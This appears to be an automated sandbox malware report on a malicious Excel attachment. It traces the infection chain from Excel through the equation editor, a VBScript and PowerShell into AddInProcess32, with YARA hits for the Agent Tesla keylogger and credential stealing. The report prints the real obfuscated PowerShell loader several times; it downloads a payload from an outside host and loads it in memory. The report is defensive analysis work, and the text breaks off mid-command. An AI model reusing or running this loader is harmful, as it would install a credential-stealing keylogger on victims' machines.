Source: powershell.exe, 00000008.00000002.524750374.0000000004FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown	Network traffic detected: HTTP traffic on port 49167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49166 -> 443

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 8.2.powershell.exe.723ab28.0.raw.unpack, cPKWk.cs

.Net Code: VG0StEU

System Summary

Malicious sample detected (through community Yara rule)

Source: sheet1.xml, type: SAMPLE	Matched rule: detects AutoLoad documents using LegacyDrawing Author: ditekSHen
Source: 8.2.powershell.exe.723ab28.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 8.2.powershell.exe.723ab28.0.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 8.2.powershell.exe.723ab28.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 8.2.powershell.exe.723ab28.0.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 9.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 9.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 3884, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 3984, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\ProgID

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdrRnZpbWFnZVVybCcrJyA9ICcrJ2d3MGh0dHBzOi8vZHJpdmUuZ29vZ2xlLicrJ2NvJysnbS91Yz9leHAnKydvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRCcrJ3ZVaEJZd3VyIGd3MDtrRnYnKyd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2wnKydpZW50O2tGJysndmltYScrJ2dlQnl0ZXMgPSAnKydrRnZ3ZWJDbGllbnQuJysnRG93bmxvYWREYXRhKGtGdmltYWdlVXJsKTtrRnZpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRScrJ25jb2RpbmddOjpVVEY4LkdldFN0cmluJysnZyhrRnZpbWFnZUJ5dGVzKTtrRnZzdGFydEZsYWcgPSBndzA8PEJBU0U2NF9TVEFSVD4+Z3cwO2tGdmVuZCcrJ0ZsYWcgPSBndzA8PEJBJysnU0U2NF9FTkQ+Pmd3MDtrRnZzdGFydEluZGUnKyd4ID0ga0Z2aW1hZ2VUZXh0LkluZGV4T2Yoa0Z2c3RhcnRGbGFnKTtrRicrJ3ZlbmRJbmRleCA9IGtGdmltYWdlVGV4dC5JJysnbmRleE9mKGtGdmVuZEZsJysnYWcpO2tGdnN0YXJ0SW5kZXggLWdlIDAgLScrJ2EnKyduZCBrRnZlbmRJbmRleCAnKyctZ3Qga0Z2c3RhcnRJbmRleDtrRnZzdGFydEluZGV4ICs9IGtGdnN0YXJ0RmxhZy5MZW5ndGg7a0Z2YmFzZTY0TGVuZ3RoID0ga0Z2ZW5kSW5kZXggLSBrRnZzdGFydEluZGV4O2tGdmJhc2U2NENvbW1hbmQgPSBrRnZpbWFnZVRleHQuU3Vic3RyaW5nKGtGdnN0YXJ0SW5kJysnZXgsIGtGdmJhc2U2NExlbmd0aCk7a0Z2YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoa0Z2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpJysnIHc1JysnYyBGb3JFYWNoLU9iamVjdCB7IGtGdl8gfSlbLTEuLi0oa0Z2YmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtrRnZjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tJysnQmFzZTY0U3RyaW5nKGtGdmJhc2U2NFJldmVyc2UnKydkKTtrRnZsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZScrJ20uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoa0Z2Y29tbWFuZEJ5dGVzKTtrRnZ2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKGd3MFZBSWd3MCk7a0Z2dmFpTWV0aG9kLkludm9rZShrRnYnKydudWxsLCBAKGd3MHR4dC5hYWFhYWJld21hZGFtLzMxLjEnKyczLjI3MS43MCcrJzEvLzpwdHRoJysnZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZXNhdGl2YWRvZ3cwLCBndzBBZGRJblByb2Nlc3MzMmd3MCwgZ3cwZGVzYXRpdmFkb2d3MCwgZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvJysnZ3cwLGd3MGRlc2F0aXZhJysnZG9ndzAsZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvZ3cwLGd3MGRlc2F0aXZhZG9ndzAsZ3cwMWd3MCxndzBkZXNhdGl2YWRvZ3cwKScrJyk7JykuUmVQbGFDZSgndzVjJyxbU3RySW5HXVtDaEFSXTEyNCkuUmVQbGFDZSgna0Z2JywnJCcpLlJlUGxhQ2UoKFtDaEFSXTEwMytbQ2hBUl0xMTkrW0NoQVJdNDgpLFtTdHJJbkddW0NoQVJdMzkpIHwgJiAoKHZhcklBQkxFICcqTWRyKicpLk5hbWVbMywxMSwyXS1KT2luJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdrRnZpbWFnZVVybCcrJyA9ICcrJ2d3MGh0dHBzOi8vZHJpdmUuZ29vZ2xlLicrJ2NvJysnbS91Yz9leHAnKydvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRCcrJ3ZVaEJZd3VyIGd3MDtrRnYnKyd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2wnKydpZW50O2tGJysndmltYScrJ2dlQnl0ZXMgPSAnKydrRnZ3ZWJDbGllbnQuJysnRG93bmxvYWREYXRhKGtGdmltYWdlVXJsKTtrRnZpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRScrJ25jb2RpbmddOjpVVEY4LkdldFN0cmluJysnZyhrRnZpbWFnZUJ5dGVzKTtrRnZzdGFydEZsYWcgPSBndzA8PEJBU0U2NF9TVEFSVD4+Z3cwO2tGdmVuZCcrJ0ZsYWcgPSBndzA8PEJBJysnU0U2NF9FTkQ+Pmd3MDtrRnZzdGFydEluZGUnKyd4ID0ga0Z2aW1hZ2VUZXh0LkluZGV4T2Yoa0Z2c3RhcnRGbGFnKTtrRicrJ3ZlbmRJbmRleCA9IGtGdmltYWdlVGV4dC5JJysnbmRleE9mKGtGdmVuZEZsJysnYWcpO2tGdnN0YXJ0SW5kZXggLWdlIDAgLScrJ2EnKyduZCBrRnZlbmRJbmRleCAnKyctZ3Qga0Z2c3RhcnRJbmRleDtrRnZzdGFydEluZGV4ICs9IGtGdnN0YXJ0RmxhZy5MZW5ndGg7a0Z2YmFzZTY0TGVuZ3RoID0ga0Z2ZW5kSW5kZXggLSBrRnZzdGFydEluZGV4O2tGdmJhc2U2NENvbW1hbmQgPSBrRnZpbWFnZVRleHQuU3Vic3RyaW5nKGtGdnN0YXJ0SW5kJysnZXgsIGtGdmJhc2U2NExlbmd0aCk7a0Z2YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoa0Z2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpJysnIHc1JysnYyBGb3JFYWNoLU9iamVjdCB7IGtGdl8gfSlbLTEuLi0oa0Z2YmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtrRnZjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tJysnQmFzZTY0U3RyaW5nKGtGdmJhc2U2NFJldmVyc2UnKydkKTtrRnZsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZScrJ20uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoa0Z2Y29tbWFuZEJ5dGVzKTtrRnZ2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKGd3MFZBSWd3MCk7a0Z2dmFpTWV0aG9kLkludm9rZShrRnYnKydudWxsLCBAKGd3MHR4dC5hYWFhYWJld21hZGFtLzMxLjEnKyczLjI3MS43MCcrJzEvLzpwdHRoJysnZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZXNhdGl2YWRvZ3cwLCBndzBBZGRJblByb2Nlc3MzMmd3MCwgZ3cwZGVzYXRpdmFkb2d3MCwgZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvJysnZ3cwLGd3MGRlc2F0aXZhJysnZG9ndzAsZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvZ3cwLGd3MGRlc2F0aXZhZG9ndzAsZ3cwMWd3MCxndzBkZXNhdGl2YWRvZ3cwKScrJyk7JykuUmVQbGFDZSgndzVjJyxbU3RySW5HXVtDaEFSXTEyNCkuUmVQbGFDZSgna0Z2JywnJCcpLlJlUGxhQ2UoKFtDaEFSXTEwMytbQ2hBUl0xMTkrW0NoQVJdNDgpLFtTdHJJbkddW0NoQVJdMzkpIHwgJiAoKHZhcklBQkxFICcqTWRyKicpLk5hbWVbMywxMSwyXS1KT2luJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD			Jump to behavior

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior

Detected potential crypto function

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00312C88	8_2_00312C88
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00311F1D	8_2_00311F1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 9_2_001D38E8	9_2_001D38E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 9_2_001D4908	9_2_001D4908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 9_2_001DEBF8	9_2_001DEBF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 9_2_001DB430	9_2_001DB430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 9_2_001D3C30	9_2_001D3C30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 9_2_005E10C8	9_2_005E10C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 9_2_005E40B8	9_2_005E40B8

Document misses a certain OLE stream usually present in this Microsoft Office document type

Source: transferencia interbancaria_66579.xlam.xlsx

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Very long command line found

Source: C:\Windows\SysWOW64\wscript.exe	Process created: Commandline size = 2318
Source: C:\Windows\SysWOW64\wscript.exe	Process created: Commandline size = 2318			Jump to behavior

Yara signature match

Source: sheet1.xml, type: SAMPLE	Matched rule: INDICATOR_XML_LegacyDrawing_AutoLoad_Document author = ditekSHen, description = detects AutoLoad documents using LegacyDrawing
Source: 8.2.powershell.exe.723ab28.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 8.2.powershell.exe.723ab28.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 8.2.powershell.exe.723ab28.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 8.2.powershell.exe.723ab28.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 9.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 9.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: Process Memory Space: powershell.exe PID: 3884, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 3984, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: 8.2.powershell.exe.723ab28.0.raw.unpack, cPs8D.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 8.2.powershell.exe.723ab28.0.raw.unpack, 72CF8egH.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 8.2.powershell.exe.723ab28.0.raw.unpack, G5CXsdn.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 8.2.powershell.exe.723ab28.0.raw.unpack, 3uPsILA6U.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 8.2.powershell.exe.723ab28.0.raw.unpack, 6oQOw74dfIt.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 8.2.powershell.exe.723ab28.0.raw.unpack, aMIWm.cs	Cryptographic APIs: 'CreateDecryptor', 'TransformBlock'
Source: 8.2.powershell.exe.723ab28.0.raw.unpack, 3QjbQ514BDx.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 8.2.powershell.exe.723ab28.0.raw.unpack, 3QjbQ514BDx.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winXLSX@10/10@3/4

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$transferencia interbancaria_66579.xlam.xlsx

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Mutant created: NULL

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR9108.tmp

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\nightdatingloverxxx.vbs"

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................T.r.u.e.(.P.....4.......<.......\|........W.........................s............................................			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ....................................u.e.(.P.....4.......<.......\|.......!W.........................s............................................			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: transferencia interbancaria_66579.xlam.xlsx

ReversingLabs: Detection: 63%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\nightdatingloverxxx.vbs"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdrRnZpbWFnZVVybCcrJyA9ICcrJ2d3MGh0dHBzOi8vZHJpdmUuZ29vZ2xlLicrJ2NvJysnbS91Yz9leHAnKydvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRCcrJ3ZVaEJZd3VyIGd3MDtrRnYnKyd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2wnKydpZW50O2tGJysndmltYScrJ2dlQnl0ZXMgPSAnKydrRnZ3ZWJDbGllbnQuJysnRG93bmxvYWREYXRhKGtGdmltYWdlVXJsKTtrRnZpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRScrJ25jb2RpbmddOjpVVEY4LkdldFN0cmluJysnZyhrRnZpbWFnZUJ5dGVzKTtrRnZzdGFydEZsYWcgPSBndzA8PEJBU0U2NF9TVEFSVD4+Z3cwO2tGdmVuZCcrJ0ZsYWcgPSBndzA8PEJBJysnU0U2NF9FTkQ+Pmd3MDtrRnZzdGFydEluZGUnKyd4ID0ga0Z2aW1hZ2VUZXh0LkluZGV4T2Yoa0Z2c3RhcnRGbGFnKTtrRicrJ3ZlbmRJbmRleCA9IGtGdmltYWdlVGV4dC5JJysnbmRleE9mKGtGdmVuZEZsJysnYWcpO2tGdnN0YXJ0SW5kZXggLWdlIDAgLScrJ2EnKyduZCBrRnZlbmRJbmRleCAnKyctZ3Qga0Z2c3RhcnRJbmRleDtrRnZzdGFydEluZGV4ICs9IGtGdnN0YXJ0RmxhZy5MZW5ndGg7a0Z2YmFzZTY0TGVuZ3RoID0ga0Z2ZW5kSW5kZXggLSBrRnZzdGFydEluZGV4O2tGdmJhc2U2NENvbW1hbmQgPSBrRnZpbWFnZVRleHQuU3Vic3RyaW5nKGtGdnN0YXJ0SW5kJysnZXgsIGtGdmJhc2U2NExlbmd0aCk7a0Z2YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoa0Z2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpJysnIHc1JysnYyBGb3JFYWNoLU9iamVjdCB7IGtGdl8gfSlbLTEuLi0oa0Z2YmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtrRnZjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tJysnQmFzZTY0U3RyaW5nKGtGdmJhc2U2NFJldmVyc2UnKydkKTtrRnZsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZScrJ20uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoa0Z2Y29tbWFuZEJ5dGVzKTtrRnZ2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKGd3MFZBSWd3MCk7a0Z2dmFpTWV0aG9kLkludm9rZShrRnYnKydudWxsLCBAKGd3MHR4dC5hYWFhYWJld21hZGFtLzMxLjEnKyczLjI3MS43MCcrJzEvLzpwdHRoJysnZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZXNhdGl2YWRvZ3cwLCBndzBBZGRJblByb2Nlc3MzMmd3MCwgZ3cwZGVzYXRpdmFkb2d3MCwgZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvJysnZ3cwLGd3MGRlc2F0aXZhJysnZG9ndzAsZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvZ3cwLGd3MGRlc2F0aXZhZG9ndzAsZ3cwMWd3MCxndzBkZXNhdGl2YWRvZ3cwKScrJyk7JykuUmVQbGFDZSgndzVjJyxbU3RySW5HXVtDaEFSXTEyNCkuUmVQbGFDZSgna0Z2JywnJCcpLlJlUGxhQ2UoKFtDaEFSXTEwMytbQ2hBUl0xMTkrW0NoQVJdNDgpLFtTdHJJbkddW0NoQVJdMzkpIHwgJiAoKHZhcklBQkxFICcqTWRyKicpLk5hbWVbMywxMSwyXS1KT2luJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('kFvimageUrl'+' = '+'gw0https://drive.google.'+'co'+'m/uc?exp'+'ort=download&id=1AIVgJJJv1F6vS4sUOybnH-sD'+'vUhBYwur gw0;kFv'+'webClient = New-Object System.Net.WebCl'+'ient;kF'+'vima'+'geBytes = '+'kFvwebClient.'+'DownloadData(kFvimageUrl);kFvimageText = [System.Text.E'+'ncoding]::UTF8.GetStrin'+'g(kFvimageBytes);kFvstartFlag = gw0<<BASE64_START>>gw0;kFvend'+'Flag = gw0<<BA'+'SE64_END>>gw0;kFvstartInde'+'x = kFvimageText.IndexOf(kFvstartFlag);kF'+'vendIndex = kFvimageText.I'+'ndexOf(kFvendFl'+'ag);kFvstartIndex -ge 0 -'+'a'+'nd kFvendIndex '+'-gt kFvstartIndex;kFvstartIndex += kFvstartFlag.Length;kFvbase64Length = kFvendIndex - kFvstartIndex;kFvbase64Command = kFvimageText.Substring(kFvstartInd'+'ex, kFvbase64Length);kFvbase64Reversed = -join (kFvbase64Command.ToCharArray()'+' w5'+'c ForEach-Object { kFv_ })[-1..-(kFvbase64Command.Length)];kFvcommandBytes = [System.Convert]::From'+'Base64String(kFvbase64Reverse'+'d);kFvloadedAssembly = [Syste'+'m.Reflection.Assembly]::Load(kFvcommandBytes);kFvvaiMethod = [dnlib.IO.Home].GetMethod(gw0VAIgw0);kFvvaiMethod.Invoke(kFv'+'null, @(gw0txt.aaaaabewmadam/31.1'+'3.271.70'+'1//:ptth'+'gw0, gw0de'+'sativadogw0, gw0de'+'sativadogw0, gw0desativadogw0, gw0AddInProcess32gw0, gw0desativadogw0, gw0desativadogw0,gw0desativado'+'gw0,gw0desativa'+'dogw0,gw0desativadogw0,gw0desativadogw0,gw0desativadogw0,gw01gw0,gw0desativadogw0)'+');').RePlaCe('w5c',[StrInG][ChAR]124).RePlaCe('kFv','$').RePlaCe(([ChAR]103+[ChAR]119+[ChAR]48),[StrInG][ChAR]39) \| & ((varIABLE 'Mdr').Name[3,11,2]-JOin'')"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\nightdatingloverxxx.vbs"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdrRnZpbWFnZVVybCcrJyA9ICcrJ2d3MGh0dHBzOi8vZHJpdmUuZ29vZ2xlLicrJ2NvJysnbS91Yz9leHAnKydvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRCcrJ3ZVaEJZd3VyIGd3MDtrRnYnKyd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2wnKydpZW50O2tGJysndmltYScrJ2dlQnl0ZXMgPSAnKydrRnZ3ZWJDbGllbnQuJysnRG93bmxvYWREYXRhKGtGdmltYWdlVXJsKTtrRnZpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRScrJ25jb2RpbmddOjpVVEY4LkdldFN0cmluJysnZyhrRnZpbWFnZUJ5dGVzKTtrRnZzdGFydEZsYWcgPSBndzA8PEJBU0U2NF9TVEFSVD4+Z3cwO2tGdmVuZCcrJ0ZsYWcgPSBndzA8PEJBJysnU0U2NF9FTkQ+Pmd3MDtrRnZzdGFydEluZGUnKyd4ID0ga0Z2aW1hZ2VUZXh0LkluZGV4T2Yoa0Z2c3RhcnRGbGFnKTtrRicrJ3ZlbmRJbmRleCA9IGtGdmltYWdlVGV4dC5JJysnbmRleE9mKGtGdmVuZEZsJysnYWcpO2tGdnN0YXJ0SW5kZXggLWdlIDAgLScrJ2EnKyduZCBrRnZlbmRJbmRleCAnKyctZ3Qga0Z2c3RhcnRJbmRleDtrRnZzdGFydEluZGV4ICs9IGtGdnN0YXJ0RmxhZy5MZW5ndGg7a0Z2YmFzZTY0TGVuZ3RoID0ga0Z2ZW5kSW5kZXggLSBrRnZzdGFydEluZGV4O2tGdmJhc2U2NENvbW1hbmQgPSBrRnZpbWFnZVRleHQuU3Vic3RyaW5nKGtGdnN0YXJ0SW5kJysnZXgsIGtGdmJhc2U2NExlbmd0aCk7a0Z2YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoa0Z2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpJysnIHc1JysnYyBGb3JFYWNoLU9iamVjdCB7IGtGdl8gfSlbLTEuLi0oa0Z2YmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtrRnZjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tJysnQmFzZTY0U3RyaW5nKGtGdmJhc2U2NFJldmVyc2UnKydkKTtrRnZsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZScrJ20uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoa0Z2Y29tbWFuZEJ5dGVzKTtrRnZ2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKGd3MFZBSWd3MCk7a0Z2dmFpTWV0aG9kLkludm9rZShrRnYnKydudWxsLCBAKGd3MHR4dC5hYWFhYWJld21hZGFtLzMxLjEnKyczLjI3MS43MCcrJzEvLzpwdHRoJysnZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZXNhdGl2YWRvZ3cwLCBndzBBZGRJblByb2Nlc3MzMmd3MCwgZ3cwZGVzYXRpdmFkb2d3MCwgZ3cwZGVzYXRpdmFkb2d3MCxndz